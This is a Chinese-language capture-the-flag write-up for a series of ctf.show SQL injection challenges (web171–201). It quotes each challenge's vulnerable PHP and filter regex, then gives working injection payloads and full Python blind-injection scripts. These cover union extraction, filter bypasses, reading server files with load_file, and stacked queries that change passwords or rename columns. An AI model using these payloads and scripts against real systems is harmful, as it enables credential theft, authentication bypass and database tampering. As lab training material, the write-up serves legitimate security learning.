web171
//拼接sql語句查找指定ID用戶
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
無過濾的字符型注入。
payload: 1'or'1'='1
滑到底找到flag。
web172
//拼接sql語句查找指定ID用戶
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//檢查結果是否有flag
if($row->username!=='flag'){
$ret['msg']='查詢成功';
}
無過濾的字符型注入,添加了條件限制 username!='flag'
,要用聯合查詢注入。
已給出sql語句,不再用 0'union select 1,2 %23
或 1' order by 2 %23
確定列數。
payload: 0' union select 1,(select password from ctfshow_user2 where username='flag') %23
密碼欄出flag。
web173
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//檢查結果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查詢成功';
}
有過濾的字符型注入,添加了檢查結果中是否匹配正則表達式 /flag/i
,若匹配則查詢失敗。
先用上一題的payload打一下試試
payload: 0' union select 1,2,(select password from ctfshow_user2 where username='flag') %23
密碼欄出現的不是flag而是 not_here
,查表名
payload: 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
結果
ctfshow_user,ctfshow_user2,ctfshow_user3
查第一個表
payload: 0' union select 1,2,(select password from ctfshow_user where username='flag') %23
查詢失敗,返回結果觸發了正則過濾。添加hex函數繞過正則過濾
payload: 0' union select 1,2,hex((select password from ctfshow_user where username='flag')) %23
結果解碼后
flag_not_here
查第三個表
payload: 0' union select 1,2,hex((select password from ctfshow_user3 where username='flag')) %23
密碼欄hex解碼出flag。
web174
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//檢查結果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查詢成功';
}
有過濾的字符型注入,更改正則表達式 /flag|[0-9]/i
,返回結果中不能有數字。
hex,to_base64里面也有數字,根據給出的查詢語句,構造 payload 寫個布爾盲注腳本。
import requests
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23"
url = "http://168b1d40-414d-4b42-a7cd-1cb5fd00bfe6.challenge.ctf.show:8080/api/v4.php?id="
def test_chr(index: int, offset: int):
response = requests.get(url + payload.format(index, offset))
assert "cluster" in response.text or "boom" in response.text
if "cluster" in response.text:
return True
elif "boom" in response.text:
return False
index = 1
flag = ""
while True:
start = 32
end = 127
while True:
if abs(start-end) == 1 or start == end:
break
point = (start + end) // 2
if test_chr(index, point):
start = point
else:
end = point
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1
腳本輸出flag。
web175
//拼接sql語句查找指定ID用戶
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//檢查結果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查詢成功';
}
無過濾字符型注入,更改正則表達式為 /[\x00-\x7f]/i
,過濾了 ascii 0-127,相當於沒有回顯,把上一題的腳本改為時間盲注
import requests
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {},1))>{},sleep(2),1) %23"
url = "http://dc63c6a5-aa8b-4e21-a765-56eb704e4809.challenge.ctf.show:8080/api/v5.php?id="
def test_chr(index: int, offset: int):
try:
response = requests.get(url + payload.format(index, offset), timeout=1)
except:
return True
return False
index = 1
flag = ""
while True:
start = 32
end = 127
while True:
if abs(start-end) == 1 or start == end:
break
point = (start + end) // 2
if test_chr(index, point):
start = point
else:
end = point
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1
腳本輸出flag。
web176
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
有過濾的字符型注入,還沒弄清過濾了哪些字符,試了一個 payload 就出了 flag。
payload: 1'or'1'='1
這里其實是對 select 進行了過濾,大小寫就能繞過。
滑到底找到flag。
web177
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
有過濾的字符型注入,嘗試后發現過濾了空格(%20
),用 %09
代替即可。
a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') %23"
def bypass(s: str):
return s.replace(" ", "%09") # 這里用 %0a %0b %0c %0d /**/ 也可以
print(bypass(a))
payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23
web178
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
有過濾的字符型注入,和上一題差不多,可能增加了什么過濾,但用上一題的 payload 還是能打通。
payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23
web179
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
有過濾的字符型注入,和上上題差不多,增加了對 %09 %0a %0b %0d
的過濾,%0c
可以用。
a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') %23"
def bypass(s: str):
return s.replace(" ", "%0c")
print(bypass(a))
payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c%23
web180
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
有過濾的字符型注入,相比上題增加了對 #
(%23
) 的過濾,這里使用 --
(--后加個空格) 繞過。
a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') -- "
def bypass(s: str):
return s.replace(" ", "%0c")
print(bypass(a))
payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c
web181
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
有過濾的字符型注入,這次給出了過濾的函數 waf。
可知沒有空格和 select 可以用,這里利用邏輯運算的優先級構造 and 語句,繞過查詢語句前面的 username != flag
,且不能含有空格。
由前幾題或爆破可得,flag 所在記錄的 id 列的值為 26,故構造
payload: 0'or(id=26)and'1
and 的優先級比 or 要高,故注入后的語句變成了
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(id=26)and'1' limit 1;
前面滿足條件 id=0
的記錄不存在,故該語句可簡化為
select id,username,password from ctfshow_user where (0) or(id=26)and'1' limit 1;
先計算 and,再計算 or,最后得到滿足 id=26
的記錄,即 flag。
web182
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
有過濾的字符型注入,正則多過濾了一個 flag
,上一題的 payload 可以繼續用,當然如果想還可以盲注(脫褲子放屁)。。。
payload1: 0'or(id=26)and'1
payload2: -1'or(id=26)and(if(ascii(mid(password,{},1))>{},sleep(1),1))and'1
web183
有過濾的表名位置注入,返回結果只有記錄的總數。過濾函數
//拼接sql語句查找指定ID用戶
$sql = "select count(pass) from ".$_POST['tableName'].";";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用戶表的記錄總數
$user_count = 0;
過濾 ban 掉了 =
,使用 like 或 regexp 構造 payload 進行布爾盲注
import string
import requests
url = "http://ff8c3946-0975-4e96-b520-a7a95a9f5038.challenge.ctf.show:8080/select-waf.php"
payload = "(ctfshow_user)where(pass)like(0x{})"
true_flag = "$user_count = 1;"
def make_payload(has: str) -> str:
return payload.format((has + "%").encode().hex())
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 這里注意表中用 like 'ctf%' 只有一個結果,要提前給出這一小段 flag 頭避免其他記錄干擾匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break
if flag[-1] == "}":
break
腳本輸出 flag。
web184
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ".$_POST['tableName'].";";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用戶表的記錄總數
$user_count = 0;
有過濾表名位置注入,過濾相比上一題解禁了空格,增加了 where 和一些用不到的函數。
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
RIGHT JOIN(右連接): 用於獲取右表所有記錄,即使左表沒有對應匹配的記錄。
例如:mysql> select * from persons; +----+----------+----------+ | id | username | position | +----+----------+----------+ | 1 | b477eRy | 1 | | 2 | p1 | 1 | | 3 | p2 | 3 | | 4 | p3 | 2 | | 5 | p4 | 2 | +----+----------+----------+ 5 rows in set (0.00 sec) mysql> select * from persons as a right join persons as b on b.position =3; +------+----------+----------+----+----------+----------+ | id | username | position | id | username | position | +------+----------+----------+----+----------+----------+ | 1 | b477eRy | 1 | 3 | p2 | 3 | | 2 | p1 | 1 | 3 | p2 | 3 | | 3 | p2 | 3 | 3 | p2 | 3 | | 4 | p3 | 2 | 3 | p2 | 3 | | 5 | p4 | 2 | 3 | p2 | 3 | | NULL | NULL | NULL | 1 | b477eRy | 1 | | NULL | NULL | NULL | 2 | p1 | 1 | | NULL | NULL | NULL | 4 | p3 | 2 | | NULL | NULL | NULL | 5 | p4 | 2 | +------+----------+----------+----+----------+----------+ 9 rows in set (0.00 sec)
條件有一條記錄滿足時,記錄總數 = 總數 * 2 - 1
過濾 ban 了 where,可以用 right/left/inner join 代替
import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
true_flag = "$user_count = 43;"
def make_payload(has: str) -> str:
return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 這里注意表中用 regexp('ctf') 只有一個結果,要提前給出這一小段 flag 頭避免其他記錄干擾匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break
if flag[-1] == "}":
break
腳本輸出 flag。
web185
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ".$_POST['tableName'].";";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用戶表的記錄總數
$user_count = 0;
有過濾的表名位置注入,這次過濾了所有數字,需要自己構造數字,char 轉換數組成字符串。
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
expression | number |
---|---|
false | 0 |
true | 1 |
true+true | 2 |
floor(pi()) | 3 |
ceil(pi()) | 4 |
floor(pi())+true | 5 |
floor(pi())+floor(pi()) | 6 |
floor(pi())+ceil(pi()) | 7 |
ceil(pi())+ceil(pi()) | 8 |
floor(pi())*floor(pi()) | 9 |
floor(pi())*floor(pi())+true | 10 |
寫了半天發現正則還過濾了 *
,只能硬加出來了。。。
import string
import requests
url = "http://a65c7280-632a-4429-a6a9-a8250b2e223b.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(char({}))"
true_flag = "$user_count = 43;"
def convert(num: int) -> str:
return '+'.join("true" for _ in range(num))
def make_payload(has: str) -> str:
return payload.format(','.join([convert(ord(x)) for x in has]))
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 這里注意表中用 regexp('ctf') 只有一個結果,要提前給出這一小段 flag 頭避免其他記錄干擾匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break
if flag[-1] == "}":
break
腳本輸出 flag。
web186
有過濾的表名位置注入
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ".$_POST['tableName'].";";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用戶表的記錄總數
$user_count = 0;
過濾增加了幾個運算符號,加號還是能用,上一題的腳本一把梭。
web187
MD5 編碼后的字符型注入
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以獲得flag
if($username!='admin'){
$ret['msg']='用戶名不存在';
die(json_encode($ret));
}
username 只能為 admin,password 使用的 md5 函數第二個參數為 true,可用特殊 payload ffifdyop
繞過。
var_dump(md5("ffifdyop", true));
//string(16) "'or'6]!r,b"
登錄成功查看 response 找到 flag。
web188
有過濾的數字型注入
//查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username}";
//返回邏輯
//用戶名檢測
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==intval($password)){
$ret['msg']='登陸成功';
array_push($ret['data'], array('flag'=>$flag));
}
Why SELECT * FROM Table where username = 0 shows all rows? [username column is varchar]
當列的類型為 string 時,在查詢限制條件中使用數字會將字符串轉為數字進行比較,非數字開頭的字符串會被轉化為數字 0
故這里的 username 填寫數字 0 就能查出所有記錄。
php弱類型總結
在 php 中,當一個字符串當作一個數值來取值,其結果和類型如下: 如果該字符串沒有包含 '.','e','E' 並且其數值值在整形的范圍之內該字符串被當作 int 來取值,其他所有情況下都被作為 float 來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。
$row['pass']
為 string 類型,若第一個字符不是數字就會被轉換為數字 0。嘗試在 password 填寫數字 0,成功繞過。
登錄成功,response 內找到 flag。
web189
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username}";
//用戶名檢測
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
有過濾的數字型注入,嘗試上一題的解法不能繞過,password 不止第一個字符是數字,不能被轉換為 0。
正則很多東西沒有過濾,可以利用 username 篩選條件 0 和 1 的回顯不同,讀文件布爾盲注 flag
import requests
url = "http://06d6c1a8-d2cf-4590-8b20-19fd83835dff.challenge.ctf.show:8080/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
def find_flag_index() -> int:
start = 0
end = 1000
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload1.format(index=p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
return end
print("[*] finding flag index")
flag_index = find_flag_index()
print(f"[!] flag index found: {flag_index}")
flag = "c"
flag_index += 1
print("[*] start to injection")
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
while flag[-1] != "}":
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload2.format(flag_index, p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
flag_index += 1
路徑 /var/www/html
有點腦洞,題目描述只說了 "flag 在 api/index.php 文件中"
腳本輸出 flag。
web190
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
有過濾的字符型注入,沒有給出過濾的正則表達式,在 username 處構造 payload 布爾盲注。
先查表名,再查列名,再用列名和表名構造 payload 查 flag。
import requests
url = "http://e542cd49-fc4e-4ed0-a6cf-0ba1142d8c97.challenge.ctf.show:8080/api/"
# 表名 ctfshow_fl0g,ctfshow_user
# payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
# flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, p),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1
web191
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
有過濾的字符型注入,給出了過濾正則表達式,發現禁用了 ascii,把腳本改成不用二分法而是暴力遍歷每個字符的值。
(PS:事后發現不用 ascii 也可以直接用大於號比較字母的 ascii 大小,二分法還是能用的......)
# 不用二分法
import string
import requests
url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \
"table_schema=database()),{},1)='{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
def valid_char(index: int, c: chr) -> bool:
data = {
"username": payload.format(index, c),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
return true_flag in response.text
result = ""
index = 1
while True:
for char in string.printable:
print(f"\r[*] trying: {result + char}", end="")
if valid_char(index, char):
result += char
print(f"\r[*] result: {result}")
index += 1
break
# 用了二分法 dejavu~~~
import requests
url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1
web192
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
有過濾的字符型注入,過濾正則表達式新增 ord hex
,對上一題的腳本沒有影響,一把梭。
web193
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
有過濾的字符型注入,過濾正則表達式新增 substr
,改用 mid
即可。
import requests
url = "http://308c24b8-b4a7-4ad5-a2b9-42804d696718.challenge.ctf.show:8080/api/"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end).lower() # 部分字母變成了大寫 _ 變成了 { 暫時還不知道什么原因 但可以肯定跟沒用 ascii() 有關
print(f"[*] result: {result}")
index += 1
web194
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
有過濾的字符型注入,過濾正則表達式新增 char left right substring
,對上一題的腳本沒有影響,一把梭。
web195
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username};";
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陸成功 flag is $flag";
}
有過濾的數字型注入,沒有過濾分號可堆疊注入,過濾正則表達式沒有禁用 ; update set =
,利用堆疊注入更改密碼為 10086。用戶名處填寫
payload: 0;update`ctfshow_user`set`pass`=0x3130303836
,沒有用到空格。
登錄得到 flag。
web196
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用戶名不能超過16個字符';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陸成功 flag is $flag";
}
有過濾的數字型注入,給出的過濾正則表達式變得不可信,明明有 select 但還是可以用的,利用堆疊注入繞過密碼。
payload: 1;select(1)
密碼 1
web197
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陸成功 flag is $flag";
}
有過濾的數字型注入,沒有過濾分號可堆疊注入。沒有禁用 空格 alter table change column
,id 相比 password 具有遞增規律更容易爆破,互換 id 和 password 列名爆破。
import requests
url = "http://5b75f519-f196-427c-bbb1-6841984ef093.challenge.ctf.show:8080/api/"
def alter_table():
data = {
"username": "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change "
"column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)",
"password": 1
}
_ = requests.post(url, data=data)
success_flag = "\\u767b\\u9646\\u6210\\u529f"
def brute_force_admin():
for i in range(300):
data = {
"username": f"0x{'admin'.encode().hex()}",
"password": 1
}
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"[*] msg: {response.text}")
return
if __name__ == "__main__":
print("[*] change column id to pass")
alter_table()
print("[*] brute force admin password")
brute_force_admin()
這題腳本搞了一陣才跑通,最后發現是“登陸”寫成了“登錄”,尷尬。。。
web198
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陸成功 flag is $flag";
}
有過濾的數字型注入,沒有過濾分號可堆疊注入,沒有禁用 alter,上一題腳本一把梭。
web199
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陸成功 flag is $flag";
}
有過濾的數字型注入,沒有過濾分號可堆疊注入。
正則禁用了括號,password 改用 text 類型,id 改用 int 類型
import requests
url = "http://3e88c41f-6b50-41ed-9002-e37799200c7c.challenge.ctf.show:8080/api/"
def alter_table():
data = {
"username": "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change "
"column id pass int;alter table ctfshow_user change column tmp id text",
"password": 1
}
_ = requests.post(url, data=data)
success_flag = "\\u767b\\u9646\\u6210\\u529f"
def brute_force_admin():
for i in range(300):
data = {
"username": f"0x{'admin'.encode().hex()}",
"password": 1
}
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"[*] msg: {response.text}")
return
if __name__ == "__main__":
print("[*] change column id to pass")
alter_table()
print("[*] brute force admin password")
brute_force_admin()
web200
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感覺少了個啥,奇怪,不會又雙叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陸成功 flag is $flag";
}
有過濾的數字型注入,沒有過濾分號可堆疊注入,上一題腳本一把梭。
web201
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
sqlmap 工具使用練習。
題目提示 --user-agent 指定 user-agent,實際上不是 sqlmap 的 ua 還不讓訪問,測試 ua sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可用。
